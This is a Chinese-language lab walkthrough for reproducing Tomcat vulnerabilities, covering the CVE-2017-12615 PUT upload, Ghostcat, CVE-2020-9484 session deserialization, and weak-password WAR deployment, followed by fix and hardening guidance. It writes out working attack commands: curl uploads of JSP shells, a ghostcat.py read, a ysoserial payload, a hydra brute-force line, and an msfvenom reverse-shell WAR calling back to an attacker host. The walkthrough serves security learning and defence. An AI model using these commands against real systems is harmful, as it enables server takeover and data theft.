Tomcat漏洞深度复现:从原理到实战的Web安全攻防指南

Tomcat漏洞深度复现:从原理到实战的Web安全攻防指南 1. 项目概述为什么我们要亲手复现Tomcat漏洞在安全圈里混了十几年我见过太多人把“漏洞复现”挂在嘴边但真正能静下心来把环境搭好、把漏洞跑通、把原理吃透的其实没几个。很多人觉得看一篇分析文章知道个CVE编号和影响范围就算“懂”了。但在我看来这跟只看菜谱就声称自己会做满汉全席没什么区别。真正的理解来自于亲手操作来自于踩坑和排错来自于亲眼看到攻击链是如何一环扣一环被打通的。今天我们就以“Tomcat漏洞复现”这个看似宽泛实则内涵丰富的主题进行一次深度实操。Tomcat作为Java Web应用最经典的容器其历史漏洞就像一部Web安全演进史。从早期的信息泄露、弱口令到中期的文件包含、反序列化再到近期的AJP协议、Ghostcat幽灵猫等每一个漏洞背后都对应着特定版本下的特定配置、特定协议或特定代码逻辑的缺陷。复现它们不仅仅是为了掌握一个攻击技巧更是为了深刻理解Tomcat的运行机制、安全边界在哪里被突破以及作为开发者或运维人员我们该如何构建更坚固的防线。这次复现我们不追求“最全”而是追求“最深”。我会挑选几个极具代表性、且至今仍有警示意义的Tomcat漏洞带大家从零开始搭建靶场环境一步步分析漏洞原理完成利用并最终给出加固方案。整个过程你会需要用到Kali Linux或任何你熟悉的渗透测试环境、一个干净的虚拟机用于安装存在漏洞的Tomcat版本以及一颗不怕麻烦、乐于钻研的心。无论你是刚入门的安全爱好者还是想巩固Web安全知识的开发工程师这篇笔记都将是一份不可多得的实战手册。2. 核心漏洞选取与环境搭建策略面对网络上浩如烟海的Tomcat CVE盲目复现效率极低。我的策略是按漏洞类型和影响深度选取四个经典案例它们几乎覆盖了Tomcat安全问题的几个主要维度配置不当导致的信息泄露、协议层面的设计缺陷、以及代码逻辑引发的远程代码执行。2.1 靶场漏洞清单与选型理由我最终选定复现以下四个漏洞并简述其核心价值CVE-2017-12615 / CVE-2017-12616Tomcat PUT方法任意文件上传漏洞影响版本Tomcat 7.0.0 - 7.0.79当readonly设置为false时。为什么选它这是“配置安全”的绝佳反面教材。它并非Tomcat代码的致命bug而是由于管理员不当配置了web.xml允许了HTTP PUT方法且未对上传文件名做严格过滤。复现它能让你深刻体会到“默认安全”的重要性以及配置检查清单的必要性。CVE-2020-1938Apache Tomcat AJP文件包含/读取漏洞Ghostcat/幽灵猫影响版本Tomcat 6, 7, 8, 9 多个版本。为什么选它这是协议层漏洞的代表。AJPApache Jserv Protocol是Tomcat与前端HTTP服务器如Apache HTTPD通信的二进制协议通常监听在8009端口且仅对本地开放。但若错误地将AJP服务端口暴露在公网攻击者就能利用此漏洞读取Web应用目录下的任意文件甚至在某些条件下实现远程代码执行。它揭示了“内部服务外部化”带来的巨大风险。CVE-2020-9484Tomcat Session持久化反序列化漏洞影响版本Tomcat 10.x 10.0.0-M5, 9.x 9.0.35, 8.x 8.5.55, 7.x 7.0.104。为什么选它这是“反序列化”漏洞在Tomcat场景下的典型应用。当Tomcat配置了使用FileStore进行Session持久化并且攻击者能够控制文件名和文件内容时就可能触发反序列化导致RCE。这个漏洞将反序列化这一抽象概念与一个具体的、可配置的Tomcat功能点联系了起来极具教学意义。弱口令与后台部署War包Getshell这不是一个CVE但却是现实中最高发的Tomcat入侵方式。为什么选它抛开复杂的漏洞利用最原始的“弱口令”依然是渗透测试中的突破口。Tomcat Manager或Host Manager应用的管理后台如果使用默认或弱密码攻击者可直接上传包含恶意代码的WAR包瞬间获得服务器控制权。复现这个过程是对“安全左移”和“最小权限原则”最直接的呼唤。2.2 漏洞环境搭建实操复现漏洞的第一步是搭建一个“干净”且“精准”的漏洞环境。我强烈建议使用虚拟机如VirtualBox VMware配合Docker来完成这样可以快速重置避免污染宿主机。2.2.1 使用Docker快速搭建靶场Docker是漏洞复现的利器。这里以CVE-2020-1938 (Ghostcat)为例# 搜索现有的漏洞环境镜像 docker search tomcat vulhub # 假设我们使用 vulhub 项目中的镜像这是一个著名的漏洞环境集合 # 首先拉取 vulhub 的 Tomcat 环境需要先git clone vulhub项目这里以直接运行为例 # 进入 vulhub/tomcat/CVE-2020-1938 目录 cd vulhub/tomcat/CVE-2020-1938 # 启动漏洞环境 docker-compose up -d # 查看容器运行状态及映射端口 docker ps通常上述命令会启动一个包含漏洞的Tomcat 8.5.x版本并将8080HTTP和8009AJP端口映射到宿主机。注意使用第三方漏洞环境集如vulhub、vulapps非常方便但务必在隔离的网络环境中进行。切勿在连接公网或公司内网的机器上运行这些容器。2.2.2 手动编译安装特定版本Tomcat对于想深入研究版本差异或Docker镜像不满足需求的情况需要手动安装。以下是在Ubuntu系统上安装Tomcat 7.0.79用于复现PUT漏洞的步骤# 1. 安装Java环境以OpenJDK 8为例 sudo apt update sudo apt install openjdk-8-jdk -y java -version # 验证安装 # 2. 下载指定版本的Tomcat wget https://archive.apache.org/dist/tomcat/tomcat-7/v7.0.79/bin/apache-tomcat-7.0.79.tar.gz # 3. 解压到指定目录 tar -xzf apache-tomcat-7.0.79.tar.gz -C /opt/ sudo mv /opt/apache-tomcat-7.0.79 /opt/tomcat-7.0.79 # 4. 创建专用用户并授权安全最佳实践 sudo useradd -r -m -U -d /opt/tomcat-7.0.79 -s /bin/false tomcat sudo chown -R tomcat: /opt/tomcat-7.0.79 # 5. 修改配置以启用PUT方法制造漏洞条件 # 编辑 /opt/tomcat-7.0.79/webapps/ROOT/WEB-INF/web.xml # 找到 DefaultServlet 的配置将 readonly 参数设置为 false # 原始配置通常为 # init-param # param-namereadonly/param-name # param-valuetrue/param-value # /init-param # 修改为 # init-param # param-namereadonly/param-name # param-valuefalse/param-value # /init-param # 6. 启动Tomcat cd /opt/tomcat-7.0.79/bin ./startup.sh # 7. 验证 curl http://localhost:8080/实操心得手动搭建时务必记录下每一步的修改。特别是配置文件的变更这本身就是漏洞成因的一部分。建议使用git初始化你的Tomcat目录每次修改前先提交这样能清晰回溯漏洞引入的“现场”。3. 漏洞原理深度解析与复现过程环境就绪后我们进入核心环节理解漏洞如何产生并亲手触发它。3.1 CVE-2017-12615PUT方法任意文件上传3.1.1 漏洞原理拆解Tomcat的DefaultServlet负责处理静态资源。它提供了一个readonly初始化参数默认为true此时仅允许GET、HEAD、OPTIONS请求。当管理员显式地将其设置为false时便允许了PUT、DELETE等方法。问题在于Tomcat在7.0.79及之前版本对通过PUT请求上传的文件名处理存在缺陷。攻击者可以通过在文件名末尾添加斜杠/、或添加::$DATA等Windows流特性字符串在Windows服务器上来绕过Tomcat对文件后缀的检查最终将包含恶意代码的JSP文件上传到服务器。3.1.2 复现操作记录假设靶场地址为http://192.168.1.100:8080。探测漏洞是否存在尝试发送一个PUT请求。curl -X PUT http://192.168.1.100:8080/test.txt -d hello vuln如果返回201 Created说明PUT方法被允许漏洞可能存在。利用文件名绕过尝试上传一个JSP木马。# 方法1使用斜杠(/)绕过 curl -X PUT http://192.168.1.100:8080/shell.jsp/ -d % out.println(Hello, Vuln!); % # 方法2Windows靶机使用::$DATA绕过 curl -X PUT http://192.168.1.100:8080/shell.jsp::$DATA -d % Runtime.getRuntime().exec(calc); %在Linux下第一种方法可能成功上传的文件名实际为shell.jspTomcat错误处理了尾部的/。访问http://192.168.1.100:8080/shell.jsp如果看到输出或弹出计算器则复现成功。上传Webshell使用更强大的JSP Webshell如冰蝎或哥斯拉的JSP版本获取服务器控制权。# 将webshell.jsp内容写入文件然后PUT上传 curl -X PUT http://192.168.1.100:8080/behinder.jsp/ --data-binary behinder.jsp注意事项此漏洞的利用成功率高度依赖于操作系统和具体版本。复现时可能会遇到各种问题比如返回403或409。这时需要结合Tomcat的日志logs/catalina.out进行调试查看Tomcat到底是如何处理你的请求的。日志是漏洞复现过程中最好的“老师”。3.2 CVE-2020-1938Ghostcat AJP文件包含3.2.1 漏洞原理拆解AJP协议是Tomcat与前端HTTP服务器通信的“内部语言”效率高于HTTP。AJP Connector默认监听localhost:8009。漏洞存在于AJP协议处理请求属性的过程中。攻击者可以构造一个恶意的AJP请求设置javax.servlet.include.request_uri、javax.servlet.include.path_info等请求属性从而让Tomcat将Web应用目录下的任意文件如WEB-INF/web.xml的内容包含到响应中返回。由于WEB-INF目录通常存放配置文件、类文件和库文件泄露这些信息可能导致严重的安全风险例如数据库密码泄露。在特定条件下如目标应用允许上传文件到指定目录结合文件上传甚至可能实现远程代码执行。3.2.2 复现操作记录这里我们使用公开的PoC工具进行复现例如ghostcat.py。环境确认确保靶机Tomcat的8009端口可访问如果是Docker环境通常已映射到宿主机某个端口如18009。nmap -sV -p 8009,18009 192.168.1.100使用PoC脚本读取文件# 下载或使用已有的ghostcat.py脚本 python3 ghostcat.py 192.168.1.100 8009 /WEB-INF/web.xml如果漏洞存在脚本会通过AJP协议连接到目标并返回web.xml文件的内容。深入利用——文件包含RCE 如果目标应用存在文件上传功能且你知道上传文件的路径可以利用此漏洞包含上传的JSP文件执行代码。例如假设你通过其他方式上传了一个shell.jsp到/upload/目录。# 尝试通过AJP包含并执行上传的JSP文件 # 这需要构造特定的AJP请求将javax.servlet.include.path_info指向/upload/shell.jsp # 许多公开的EXP工具已经集成了此功能。 python3 ghostcat.py --attack 192.168.1.100 8009 /upload/shell.jsp排查技巧实录如果PoC脚本连接失败首先检查网络连通性和防火墙规则。其次确认Tomcat的server.xml中AJP Connector是否启用默认是注释掉的。如果是Docker环境检查端口映射是否正确。最后查看Tomcat的AJP相关日志logs/localhost_access_log.*.txt或catalina.out看是否有连接记录和错误信息。3.3 CVE-2020-9484Session持久化反序列化3.3.1 漏洞原理拆解Tomcat支持将Session序列化后存储到磁盘FileStore或数据库JDBCStore以实现Session集群或持久化。当配置了Manager的pathname属性时Tomcat会从指定目录读取Session文件。漏洞在于反序列化Session数据时未对文件内容进行有效性验证。如果攻击者能够将恶意序列化数据写入到pathname目录下例如通过文件上传漏洞并且能够预测或控制Session文件名通常与Session ID相关那么当下一个请求使用该Session ID时Tomcat就会自动反序列化恶意文件从而执行攻击代码。3.3.2 复现操作记录此漏洞复现条件较为苛刻需要精准配置和利用链是进阶挑战。配置漏洞环境在Tomcat的conf/context.xml中启用FileStore。Manager classNameorg.apache.catalina.session.PersistentManager Store classNameorg.apache.catalina.session.FileStore directory/tmp/tomcat_sessions/ /Manager重启Tomcat确保/tmp/tomcat_sessions目录存在且Tomcat有写入权限。生成恶意序列化数据使用ysoserial等工具生成一个利用链例如CommonsCollections2的Payload触发命令执行。java -jar ysoserial.jar CommonsCollections2 touch /tmp/success malicious.session这个malicious.session文件内容就是恶意的序列化对象。写入恶意Session文件关键一步是让Tomcat加载这个文件。Session文件名格式通常为[sessionid].session。你需要通过某种方式比如另一个文件上传漏洞将malicious.session文件上传到/tmp/tomcat_sessions/目录并将其重命名为一个有效的Session ID文件名例如ABCDEF123456.session。触发漏洞使用浏览器或curl携带相同的Session IDJSESSIONIDABCDEF123456去访问该Tomcat上的任何一个应用。Tomcat在处理请求时会尝试从/tmp/tomcat_sessions/加载ABCDEF123456.session文件并进行反序列化从而执行touch /tmp/success命令。检查/tmp/success文件是否被创建即可验证漏洞。常见问题复现失败最常见的原因是类路径问题。ysoserial生成的Payload依赖于特定的第三方库如commons-collections。你的靶场Tomcat的Web应用WEB-INF/lib目录下必须存在相应版本的库反序列化才能成功。你需要根据目标环境调整利用链CommonsCollections2/3/4,BeanShell1等和库版本。这需要你对Java反序列化利用链有深入理解。3.4 弱口令与后台Getshell3.4.1 漏洞原理拆解这与其说是一个漏洞不如说是一种致命的安全疏忽。Tomcat安装后默认提供manager/html管理应用和host-manager/html管理虚拟主机两个Web应用。这些应用有默认的用户角色和密码如早期版本中tomcat/tomcat或admin/空密码但很多管理员在部署后并未修改或禁用它们。攻击者通过暴力破解或使用默认凭证登录后就拥有了直接部署WAR包即Web应用归档文件的权限。将一个包含后门的WAR包部署到服务器就等于获得了整个Tomcat进程权限下的命令执行能力。3.4.2 复现操作记录发现与探测# 使用浏览器访问 http://192.168.1.100:8080/manager/html http://192.168.1.100:8080/host-manager/html如果弹出登录框说明后台存在。暴力破解/默认口令尝试 使用hydra、burpsuite等工具进行爆破或尝试常见弱口令。hydra -l tomcat -P /usr/share/wordlists/rockyou.txt 192.168.1.100 http-get /manager/html也可以手动尝试tomcat/tomcat,admin/admin,admin/空密码,role1/role1等。制作恶意WAR包 使用msfvenom生成一个简单的JSP木马WAR包。msfvenom -p java/jsp_shell_reverse_tcp LHOST你的攻击机IP LPORT4444 -f war -o shell.war或者手动创建一个包含JSP Webshell的WAR包结构shell.war └── shell.jsp使用jar命令打包jar -cvf shell.war shell.jsp登录并部署 成功登录manager/html后在“WAR file to deploy”区域选择制作好的shell.war文件点击“Deploy”。Tomcat会自动解压并部署该应用。访问Webshell 部署成功后应用通常会有一个上下文路径Context Path可能就是/shell。访问http://192.168.1.100:8080/shell/shell.jsp你的反向Shell应该会连接到攻击机的4444端口如果使用msfvenompayload。加固心得这是最简单也最应避免的入侵方式。生产环境中必须执行以下操作删除或重命名默认的manager和host-manager应用目录webapps/manager,webapps/host-manager。如果确实需要远程管理修改conf/tomcat-users.xml使用强密码并仅授予最小必要权限如manager-gui仅用于查看manager-script用于API部署。通过防火墙或Tomcat的RemoteAddrValve限制管理后台的访问IP来源。4. 漏洞修复与安全加固指南复现漏洞是为了更好地防御。针对上述漏洞以下是对应的修复方案和通用的Tomcat安全加固建议。4.1 针对性修复方案漏洞根本原因修复方案CVE-2017-12615/16配置不当 文件名解析缺陷1.升级Tomcat至7.0.81 / 8.5.24 / 9.0.0.M18这些版本修复了解析缺陷。2.检查配置确保所有应用的web.xml中DefaultServlet的readonly参数为true默认值。3.删除或注释web.xml中显式设置readonly为false的配置。CVE-2020-1938AJP协议设计缺陷 服务暴露1.升级Tomcat至9.0.31, 8.5.51, 7.0.100。2.最有效方案如果未使用AJP协议例如Tomcat独立运行或通过HTTP Connector与Nginx配合**直接在server.xml中注释掉或删除Connector port8009 protocolAJP/1.3 ... /**这一行。3.必须使用AJP时将AJP Connector的监听地址绑定到127.0.0.1默认即是并通过防火墙严格确保8009端口不对外网开放。使用secret属性设置AJP连接密钥。CVE-2020-9484Session反序列化未校验1.升级Tomcat至10.0.0-M5, 9.0.35, 8.5.55, 7.0.104。2.评估必要性除非确需Session持久化否则不要配置PersistentManager。3.如果必须使用确保FileStore的directory路径权限严格仅Tomcat用户可写。考虑使用JDBCStore并做好数据库安全防护。弱口令后台默认/弱凭证 功能暴露1.禁用或移除生产环境非必要不安装manager和host-manager应用。2.强密码与权限在tomcat-users.xml中配置复杂密码按需分配manager-*角色。3.访问控制在manager和host-manager应用的web.xml中配置RemoteAddrValve限制访问IP。4.2 通用安全加固清单除了修复特定漏洞建立常态化的安全配置习惯更为重要。版本与更新定期关注Apache Tomcat官方安全公告。建立流程及时为生产环境打上安全补丁或升级到稳定版本。权限最小化使用非root用户如tomcat运行Tomcat进程。严格控制Tomcat安装目录、日志目录、工作目录的文件权限遵循“最小权限原则”。配置强化server.xml移除或注释掉不必要的Connector设置maxPostSize防止DoS启用SSL并禁用低版本协议如SSLv2, SSLv3考虑设置allowTracefalse。web.xml为应用配置全局安全约束security-constraint设置合理的会话超时时间禁用目录列表init-paramparam-namelistings/param-nameparam-valuefalse/param-value/init-param。应用自身移除调试信息、版本信息对上传文件进行重命名、内容校验对用户输入进行严格的过滤和转义。日志与监控启用并定期审查Tomcat访问日志localhost_access_log.*.txt和应用日志catalina.out,*.log。配置日志轮转避免磁盘写满。使用日志分析工具如ELK监控异常请求如大量404、401、500错误或特定的攻击路径扫描。网络层面使用防火墙将Tomcat服务器置于DMZ区仅开放必要的业务端口如80/443给公网。在前端部署WAFWeb应用防火墙过滤常见Web攻击流量。5. 复现过程中的深度思考与工具链漏洞复现不是一次性的任务而是一种需要沉淀的方法论。在完成上述操作后我有几点更深的体会想分享。5.1 工具不是黑盒理解其原理在复现Ghostcat时我们用了ghostcat.py。一个合格的复现者不应该只满足于运行脚本看到结果。你应该打开这个Python脚本看看它是如何构造AJP协议数据包的。AJP协议有公开的协议规范尝试用Wireshark抓取一次正常的AJP通信比如Tomcat与Apache HTTPD之间再对比攻击脚本发送的数据包你就能真正看懂javax.servlet.include.request_uri这个属性是如何被设置和传递的。这个过程能极大提升你对协议级漏洞的理解。5.2 搭建自己的漏洞研究环境依赖现成的Docker镜像虽然方便但不利于深入学习。我建议在本地虚拟机里维护一个“黄金镜像”库里面安装好各种版本的Tomcat6.0, 7.0, 8.5, 9.0, 10.0、JDK6, 7, 8, 11以及常见的Web应用如一些存在漏洞的旧版CMS。为每个环境做好快照。当遇到一个新的CVE时先尝试在自己的环境里手动配置和复现这个过程能帮你理清漏洞的依赖条件这是直接运行一键脚本无法获得的经验。5.3 从复现到挖掘的思维转变复现的终极目的是培养自己发现漏洞的眼光。例如通过复现PUT上传漏洞你应该思考Tomcat处理文件上传的完整流程是什么除了readonly参数还有哪些配置会影响文件上传其他Servlet或Filter有没有类似问题通过复现Ghostcat你应该思考除了AJPTomcat还有哪些“内部”协议或接口它们是否也可能因为错误暴露而带来风险这种举一反三的思维是安全研究员与脚本小子的分水岭。5.4 构建自动化验证脚本当你对某个漏洞的理解足够深入后可以尝试编写自己的简易验证脚本。不是为了替代现有工具而是为了固化你的知识。例如写一个Python脚本自动检测目标Tomcat是否启用了PUT方法并尝试几种常见的绕过技巧。这个脚本可能很简陋但它在编写过程中强迫你处理网络连接、HTTP头构造、异常处理等细节这些能力是通用的。最后安全是一个动态对抗的过程。今天安全的配置明天可能因为一个新特性而出现隐患。保持好奇心保持动手的习惯定期回顾和测试你的系统才是应对层出不穷的漏洞最根本的方法。这次对Tomcat漏洞的深度复现之旅希望能为你打开一扇门门后是更广阔的Web安全实战世界。记住所有的理论最终都要落到curl的那一行命令、那一次请求的响应和那一行日志上。